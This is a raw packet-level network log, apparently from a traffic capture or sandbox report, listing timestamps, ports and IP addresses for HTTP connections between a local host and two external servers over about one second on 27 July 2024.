Jul 27, 2024 05:39:24.929713964 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929740906 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929748058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929780006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929796934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929796934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929812908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929862976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929863930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929863930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929896116 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929928064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929945946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929945946 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.929960012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.929991007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.930008888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930008888 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930025101 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.930057049 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.930075884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930075884 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930090904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.930124998 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.930140972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930140972 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.930182934 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931682110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931715012 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931746006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931761980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931761980 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931778908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931811094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931842089 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931862116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931862116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931873083 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931906939 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931926012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931926012 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931940079 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.931988955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.931988955 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.942090034 CEST	80	49491	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:24.942171097 CEST	49491	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:24.942783117 CEST	49491	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:24.947762012 CEST	80	49491	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:24.966317892 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966382980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966418028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966428041 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966428995 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966450930 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966470957 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966489077 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966538906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966550112 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966573000 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966605902 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966619015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966619015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966639042 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966670036 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966677904 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966677904 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966722965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966739893 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966756105 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966789007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966808081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966808081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966820955 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966852903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966861010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966861010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966885090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966902018 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966918945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966949940 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.966968060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966968060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.966984987 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967015982 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967039108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967039108 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967050076 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967092991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967092991 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967319965 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967351913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967382908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967391968 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967392921 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967432022 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967437029 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967466116 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967498064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967514992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967514992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967530966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967550039 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967564106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967597008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967614889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967614889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967628002 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967653036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967660904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967693090 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967699051 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967699051 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967726946 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967775106 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967806101 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967808008 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967853069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967853069 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.967961073 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.967993021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968024015 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968036890 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968036890 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968058109 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968089104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968096018 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968123913 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968138933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968138933 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968204975 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968305111 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968475103 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968524933 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968559980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968591928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968605042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968605042 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968622923 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968657017 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968673944 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968699932 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968708038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968740940 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968759060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968759060 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968772888 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968803883 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968807936 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968822956 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968854904 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968861103 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968903065 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968935966 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968966007 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.968983889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968983889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.968997955 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969029903 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969031096 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969063997 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969082117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969082117 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969095945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969145060 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969163895 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969163895 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969232082 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.969945908 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.969979048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.970017910 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.970017910 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.990854979 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.990921021 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.990956068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.990988016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.991020918 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.991020918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.991020918 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.991053104 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.991055965 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.991064072 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.991090059 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:24.991139889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:24.991139889 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.019712925 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019778967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019814014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019846916 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019889116 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.019896984 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019912004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.019929886 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019963980 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.019977093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.019977093 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.019995928 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020046949 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020076036 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020078897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020112038 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020129919 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020129919 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020143986 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020175934 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020193100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020193100 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020210981 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.020262003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.020262003 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.022974968 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023144960 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023169994 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023200035 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023231983 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023247957 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023247957 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023267031 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023308992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023308992 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023318052 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023365974 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023392916 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023399115 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023416996 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023448944 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023454905 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023482084 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023523092 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023530960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023545027 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023564100 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023596048 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023613930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023613930 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023628950 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023659945 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023669004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023669004 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023701906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023709059 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023753881 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023786068 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023817062 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023823977 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023853064 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023860931 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023860931 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023902893 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023936033 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023967028 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.023987055 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023987055 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.023998976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.024030924 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.024049997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.024049997 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.024063110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.024085045 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.024095058 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.024127960 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.024146080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.024146080 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.024235010 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.057648897 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.057712078 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.057717085 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.057769060 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.057801962 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.057830095 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.057945967 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.057981014 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058011055 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058029890 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058044910 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058077097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058109045 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058140993 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058140993 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058173895 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058196068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058196068 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058206081 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058238029 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058249950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058249950 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058270931 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058304071 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058315039 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058315039 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058336973 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058370113 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058381081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058381081 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058403969 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058417082 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058444977 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058473110 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.058482885 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058501959 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.058645964 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.198481083 CEST	80	49491	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:25.198591948 CEST	49491	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.313227892 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.317322969 CEST	49491	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.318042040 CEST	49492	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.318826914 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.323069096 CEST	80	49491	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:25.323144913 CEST	49491	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.323424101 CEST	80	49492	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:25.323513985 CEST	49492	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.323713064 CEST	49492	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:25.328970909 CEST	80	49492	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:25.560199976 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560254097 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560288906 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560307026 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560322046 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560359001 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560369015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560369015 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560435057 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560803890 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560854912 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560863018 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560889006 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560920954 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560936928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560936928 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.560954094 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560985088 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.560991049 CEST	49489	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:25.561002016 CEST	80	49489	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:25.561021090 CEST	49489	80	192.168.2.4	185.215.113.16
